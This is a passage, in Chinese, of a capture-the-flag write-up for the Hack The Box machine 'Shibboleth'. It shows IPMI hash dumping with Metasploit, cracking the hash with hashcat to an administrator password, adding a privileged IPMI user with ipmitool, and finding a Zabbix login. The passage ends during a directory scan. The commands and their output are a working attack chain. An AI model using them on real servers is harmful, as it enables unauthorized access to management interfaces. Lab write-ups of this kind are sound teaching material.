md-inline="plain" style="box-sizing: border-box;">扫一下vhost，没有东西。</span>扫一下UDP 嘿嘿</p><pre spellcheck="false" lang="bash" cid="n9" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);"># nmap  -sU -p 623 10.10.11.124                                                                                                                   255 ⨯</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Starting Nmap <span style="box-sizing: border-box;color: rgb(17, 102, 68);">7</span>.92 ( https://nmap.org ) at <span style="box-sizing: border-box;color: rgb(17, 102, 68);">2021</span><span style="box-sizing: border-box;color: rgb(0, 0, 204);">-12-13</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">21</span>:57 EST</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Nmap scan report <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span>.10.11.124</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Host is up (0.50s latency).</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">PORT    STATE SERVICE</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 102, 68);">623</span>/udp open  asf-rmcp</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Nmap <span style="box-sizing: border-box;color: rgb(119, 0, 136);">done</span>: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span> IP address (1 host up) scanned <span style="box-sizing: border-box;color: rgb(119, 0, 136);">in</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>.20 seconds</span></pre><p cid="n10" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">发现一个UDP端口，服务是</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">asf-rmcp</code></span></strong></span></p><h3 cid="n11" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;outline: 0px;font-weight: bold;font-size: 1.5em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: center;overflow-wrap: break-word !important;"><span data-raw-text="1" data-textnode-index="0" data-index="3" style="outline: 0px;max-width: 100%;color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;">0x02 漏洞挖掘</span></h3><p cid="n12" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">在</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">hack tricks</span></span><span md-inline="plain" style="box-sizing: border-box;">中有详细描述</span></p><p cid="n13" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">经过我的测试发现可以通过msf的扫描模块判断版本</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">msf6</span> <span class="code-snippet__string">auxiliary(scanner/ipmi/ipmi_version) &gt; show options</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Module</span> <span class="code-snippet__string">options (auxiliary/scanner/ipmi/ipmi_version):</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">Name</span>       <span class="code-snippet__string">Current Setting Required Description</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__meta">----</span>       <span class="code-snippet__string">--------------- -------- -----------</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">BATCHSIZE</span> <span class="code-snippet__string">256             yes       The number of hosts to probe in each set</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">RHOSTS</span>                     <span class="code-snippet__string">yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">RPORT</span>     <span class="code-snippet__string">623             yes       The target port (UDP)</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">THREADS</span>   <span class="code-snippet__string">10               yes       The number of concurrent threads</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">msf6</span> <span class="code-snippet__string">auxiliary(scanner/ipmi/ipmi_version) &gt; set rhost 10.10.11.124</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">rhost</span> =<span class="code-snippet__string">&gt; 10.10.11.124</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">msf6</span> <span class="code-snippet__string">auxiliary(scanner/ipmi/ipmi_version) &gt; run</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">[*]</span> <span class="code-snippet__string">Sending IPMI requests to 10.10.11.124-&gt;10.10.11.124 (1 hosts)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">[+]</span> <span class="code-snippet__string">10.10.11.124:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">[*]</span> <span class="code-snippet__string">Scanned 1 of 1 hosts (100% complete)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">[*]</span> <span class="code-snippet__string">Auxiliary module execution completed</span></span></code></pre><p cid="n13" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">还可以使用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">ipmi_dumphashes</code></span><span md-inline="plain" style="box-sizing: border-box;">模块导出密码hash</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">msf6</span> <span class="code-snippet__string">&gt; use auxiliary/scanner/ipmi/ipmi_dumphashes</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">msf6</span> <span class="code-snippet__string">auxiliary(scanner/ipmi/ipmi_dumphashes) &gt; show options</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Module</span> <span class="code-snippet__string">options (auxiliary/scanner/ipmi/ipmi_dumphashes):</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">Name</span>                 <span class="code-snippet__string">Current Setting                             Required Description</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__meta">----</span>                 <span class="code-snippet__string">---------------                             -------- -----------</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">CRACK_COMMON</span>         <span class="code-snippet__string">true                                       yes       Automatically crack common passwords as they are obtained</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">OUTPUT_HASHCAT_FILE</span>                                               <span class="code-snippet__string">no       Save captured password hashes in hashcat format</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">OUTPUT_JOHN_FILE</span>                                                 <span class="code-snippet__string">no       Save captured password hashes in john the ripper format</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">PASS_FILE</span>             <span class="code-snippet__string">/usr/share/metasploit-framework/data/wordl yes       File containing common passwords for offline cracking, one per line</span></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__attr">ists/ipmi_passwords.txt</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">RHOSTS</span>                                                           <span class="code-snippet__string">yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/</span></span></code><code><span class="code-snippet_outer">                                                                              <span class="code-snippet__attr">Using-Metasploit</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">RPORT</span>                 <span class="code-snippet__string">623                                         yes       The target port</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">SESSION_MAX_ATTEMPTS</span> <span class="code-snippet__string">5                                           yes       Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">SESSION_RETRY_DELAY</span>   <span class="code-snippet__string">5                                           yes       Delay between session retries in seconds</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">THREADS</span>               <span class="code-snippet__string">1                                           yes       The number of concurrent threads (max one per host)</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">USER_FILE</span>             <span class="code-snippet__string">/usr/share/metasploit-framework/data/wordl yes       File containing usernames, one per line</span></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__attr">ists/ipmi_users.txt</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">msf6</span> <span class="code-snippet__string">auxiliary(scanner/ipmi/ipmi_dumphashes) &gt; set rhosts 10.10.11.124</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">rhosts</span> =<span class="code-snippet__string">&gt; 10.10.11.124</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">msf6</span> <span class="code-snippet__string">auxiliary(scanner/ipmi/ipmi_dumphashes) &gt; run</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">[+]</span> <span class="code-snippet__string">10.10.11.124:623 - IPMI - Hash found: Administrator:47154804820c0000bc853ff7b9461288b451b6b8a7d227497953d2951254b5672b33551bcaf7f67da123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:77b68095fc39772bcae117e7963cef0dc5f41e3f</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">[*]</span> <span class="code-snippet__string">Scanned 1 of 1 hosts (100% complete)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">[*]</span> <span class="code-snippet__string">Auxiliary module execution completed</span></span></code></pre><p cid="n15" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span style="background-color: rgb(248, 248, 248);">使用hashcat破解</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">└─<span class="code-snippet__comment"># hashcat -h|grep ipmi</span></span></code><code><span class="code-snippet_outer">                                                                                                                                                           </span></code><code><span class="code-snippet_outer">└─<span class="code-snippet__comment"># hashcat -h|grep -i ipmi        #-i参数匹配不区分大小写                                                                                                                     1 ⨯</span></span></code><code><span class="code-snippet_outer">  7300 | IPMI2 RAKP HMAC-SHA1                             | Network Protocols</span></code><code><span class="code-snippet_outer">└─<span class="code-snippet__comment"># hashcat -m 7300 /tmp/1 /usr/share/wordlists/rockyou.txt</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">Dictionary cache hit:</span></code><code><span class="code-snippet_outer">* Filename..: /usr/share/wordlists/rockyou.txt</span></code><code><span class="code-snippet_outer">* Passwords.: 14344385</span></code><code><span class="code-snippet_outer">* Bytes.....: 139921507</span></code><code><span class="code-snippet_outer">* Keyspace..: 14344385</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">47154804820c0000bc853ff7b9461288b451b6b8a7d227497953d2951254b5672b33551bcaf7f67da123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:77b68095fc39772bcae117e7963cef0dc5f41e3f:ilovepumkinpie1</span></span></code><code><span class="code-snippet_outer">                                               </span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Session..........: hashcat</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Status...........: Cracked</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Hash.Name........: IPMI2 RAKP HMAC-SHA1</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Hash.Target......: 47154804820c0000bc853ff7b9461288b451b6b8a7d22749795...f41e3f</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Time.Started.....: Mon Dec 13 22:09:58 2021 (3 secs)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Time.Estimated...: Mon Dec 13 22:10:01 2021 (0 secs)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Guess.Queue......: 1/1 (100.00%)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Speed.#1.........: 2627.7 kH/s (0.69ms) @ Accel:1024 Loops:1 Thr:1 Vec:8</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Recovered........: 1/1 (100.00%) Digests</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Progress.........: 7397376/14344385 (51.57%)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Rejected.........: 0/7397376 (0.00%)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Restore.Point....: 7393280/14344385 (51.54%)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Candidates.#1....: iloverobert!!! -&gt; ilovemymum64.</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Started: Mon Dec 13 22:09:41 2021</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Stopped: Mon Dec 13 22:10:02 2021</span></span></code></pre><p cid="n15" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span style="background-color: rgb(248, 248, 248);">一个用户信息</span></p><pre spellcheck="false" lang="" cid="n20" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Administrator:ilovepumkinpie1</span></pre><p cid="n21" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这个功能点还可以添加用户(貌似还可以权限，不知道有用没)，可以ssh登录。无ssh，无法登陆</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer">apt <span class="code-snippet__keyword">install</span> ipmitool</span></code><code><span class="code-snippet_outer">ipmitool -I lanplus -C <span class="code-snippet__number">0</span> -H <span class="code-snippet__number">10.10</span><span class="code-snippet__number">.11</span><span class="code-snippet__number">.124</span> -U Administrator -P ilovepumkinpie1 <span class="code-snippet__keyword">user</span> <span class="code-snippet__keyword">set</span> <span class="code-snippet__keyword">name</span> <span class="code-snippet__number">3</span> hehe</span></code><code><span class="code-snippet_outer">ipmitool -I lanplus -C <span class="code-snippet__number">0</span> -H <span class="code-snippet__number">10.10</span><span class="code-snippet__number">.11</span><span class="code-snippet__number">.124</span> -U Administrator -P ilovepumkinpie1 <span class="code-snippet__keyword">user</span> <span class="code-snippet__keyword">set</span> <span class="code-snippet__keyword">password</span> <span class="code-snippet__number">3</span> hehe</span></code><code><span class="code-snippet_outer">ipmitool -I lanplus -C <span class="code-snippet__number">0</span> -H <span class="code-snippet__number">10.10</span><span class="code-snippet__number">.11</span><span class="code-snippet__number">.124</span> -U Administrator -P ilovepumkinpie1 <span class="code-snippet__keyword">user</span> priv <span class="code-snippet__number">3</span> <span class="code-snippet__number">4</span></span></code><code><span class="code-snippet_outer">ipmitool -I lanplus -C <span class="code-snippet__number">0</span> -H <span class="code-snippet__number">10.10</span><span class="code-snippet__number">.11</span><span class="code-snippet__number">.124</span> -U Administrator -P ilovepumkinpie1 <span class="code-snippet__keyword">user</span> <span class="code-snippet__keyword">enable</span></span></code><code><span class="code-snippet_outer">└─<span class="code-snippet__comment"># ipmitool -I lanplus -C 0 -H 10.10.11.124 -U Administrator -P ilovepumkinpie1 user list                                                             1 ⨯</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">ID</span> <span class="code-snippet__keyword">Name</span>             Callin <span class="code-snippet__keyword">Link</span> Auth IPMI Msg   Channel Priv <span class="code-snippet__keyword">Limit</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">1</span>                   <span class="code-snippet__literal">true</span>   <span class="code-snippet__literal">false</span>     <span class="code-snippet__literal">false</span>     <span class="code-snippet__keyword">USER</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">2</span>   Administrator   <span class="code-snippet__literal">true</span>   <span class="code-snippet__literal">false</span>     <span class="code-snippet__literal">true</span>       <span class="code-snippet__keyword">USER</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">3</span>      hehe  <span class="code-snippet__literal">true</span>   <span class="code-snippet__literal">false</span>     <span class="code-snippet__literal">true</span>       <span class="code-snippet__keyword">USER</span></span></code></pre><p cid="n21" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;">然后感觉没招了。无奈，做了一个vhost扫描，发现有vhost有三个子域名。访问发现是一个登录口</p><pre spellcheck="false" lang="" cid="n25" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">mail.shibboleth.htb</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">monitor.shibboleth.htb</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">zabbix.shibboleth.htb</span></pre><p cid="n26" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">用户密码成功登录。版本较新</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">5.0.17</code></span><span md-inline="plain" style="box-sizing: border-box;">。网上没有这个版本的洞。</span>扫一下目录，如下，没什么关键的</p><pre spellcheck="false" lang="bash" cid="n28" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Target: http://zabbix.shibboleth.htb/</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:07:44] Starting: </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:07:57] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">301</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  327B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /js  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>&gt;  http://zabbix.shibboleth.htb/js/             </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:11:11] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">301</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  328B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /app  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>&gt;  http://zabbix.shibboleth.htb/app/           </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:11:16] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">301</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  331B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /assets  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>&gt;  http://zabbix.shibboleth.htb/assets/ </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:11:16] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">403</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  286B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /assets/</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:11:17] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">301</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  330B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /audio  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>&gt;  http://zabbix.shibboleth.htb/audio/   </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:11:41] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">301</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  329B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /conf  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>&gt;  http://zabbix.shibboleth.htb/conf/     </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:11:42] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">403</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  286B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /conf/                                            </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:12:20] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">301</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  330B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /fonts  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>&gt;  http://zabbix.shibboleth.htb/fonts/   </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:12:24] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">200</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>   32KB <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /favicon.ico                                      </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:12:37] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">200</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>    2KB <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /image.php                                        </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:12:40] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">301</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  332B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /include  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>&gt;  http://zabbix.shibboleth.htb/include/</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:12:40] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">403</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  286B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /include/                                         </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:12:47] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">500</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>    0B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /include/config.inc.php                           </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:13:01] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">403</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  286B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /js/                                              </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:13:11] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">301</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  330B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /local  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>&gt;  http://zabbix.shibboleth.htb/local/   </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:13:14] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">403</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  286B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /local/                                           </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 